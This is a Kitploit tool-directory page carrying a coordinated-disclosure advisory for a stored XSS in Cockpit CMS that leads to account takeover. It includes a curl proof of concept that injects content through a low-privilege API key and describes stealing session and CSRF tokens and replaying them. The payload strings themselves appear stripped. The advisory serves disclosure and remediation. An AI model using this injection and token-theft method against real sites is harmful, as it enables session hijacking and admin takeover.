Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39275 — CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS | Kitploit
Tools/GitHubGitHub/securify-ai/cve-2026-39275
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubsecurify-ai/cve-2026-39275

CVE-2026-39275

CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS

View Repository
112 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS

CVE CWE-79 Severity CVSS

Note: Responsibly disclosed to and patched by the Cockpit CMS maintainers prior to publication.

CVE IDCVE-2026-39275
VulnerabilityStored Cross-Site Scripting (XSS) → Account Takeover
CWECWE-79
AffectedCockpit CMS <= 2.13.5
Patchedd70dc50
CVSS 3.18.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
ReporterRohith - Security Consultant @ SecurifyAI

Summary

A stored XSS vulnerability in the content collection list view allows any user with content write access (an API key or an authenticated editor session) to inject arbitrary JavaScript that executes in the browser of any administrator or editor who views the affected collection's item list.

Cockpit's session tokens are fully reachable from JavaScript - the session cookie is set without the HttpOnly flag, and the CSRF JWT is exposed in the global App.csrf variable and the data-csrf attribute on <html>. This lets the injected script read both tokens and replay them externally, defeating CSRF protection and enabling full session hijacking and account takeover.


Root Cause

Field render() outputs are passed to Vue's v-html directive without output encoding.

FileLine(s)Role
modules/App/assets/vue-components/fields/field-tags.js25 - 34Tags renderer - no encoding
modules/App/assets/vue-components/fields/field-select.js26Select renderer - no encoding
modules/Content/views/collection/items.php149v-html sink

Proof of Concept

1. Inject the payload (low-privilege write API key)

root@kitploit:~
curl -X POST "http://localhost:8080/api/content/item/posts" \
  -H "Content-Type: application/json" \
  -H "api-key: USR-<attacker-api-key>" \
  -d '{
    "data": {
      "title": "Innocent Looking Post",
      "tags": [
        "",
        ""
      ],
      "body": "Just a regular post.",
      "_state": 1
    }
  }'

2. Trigger execution

An admin or editor navigates to /content/collection/items/posts. The tags renderer returns the stored string, v-html parses it into a real `` element, the bogus src fails, and the onerror handler fires.

3. Token theft

Both tokens are now readable - the session cookie via document.cookie and the CSRF JWT via App.csrf / document.documentElement.getAttribute('data-csrf'). A weaponized payload exfiltrates both:

root@kitploit:~
image

4. Session replay

The attacker replays the stolen cookie and CSRF token, gaining full authenticated admin access - and can then create admin accounts, change credentials, or modify content.


Impact

A low-privilege editor (or any content write API key holder) escalates to full administrator. The payload is stored and fires for every admin/editor who views the list, making it a persistent, multi-victim compromise.


Remediation

Primary fix - sanitize render output before it reaches v-html using the existing App.utils.stripTags() helper.

field-tags.js:

root@kitploit:~
value = App.utils.stripTags(value); // sanitize before v-html

field-select.js:

root@kitploit:~
return App.utils.stripTags(value); // sanitize before v-html

Defense in depth - harden the session cookie:

root@kitploit:~
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);   // over HTTPS
ini_set('session.cookie_samesite', 'Strict');

HttpOnly alone is insufficient - the XSS can still act within the victim's authenticated browser context - so output encoding is the essential fix.


Disclosure Timeline

DateEvent
2026-03-29Vulnerability reported to Cockpit CMS maintainers
2026-03-29Fix released by maintainers
2026-04-04CVE requested
2026-06-23CVE-2026-39275 assigned
<pub date>Public disclosure

This material is published for educational and defensive purposes following coordinated disclosure. Use only against systems you own or are explicitly authorized to test.

Download Tool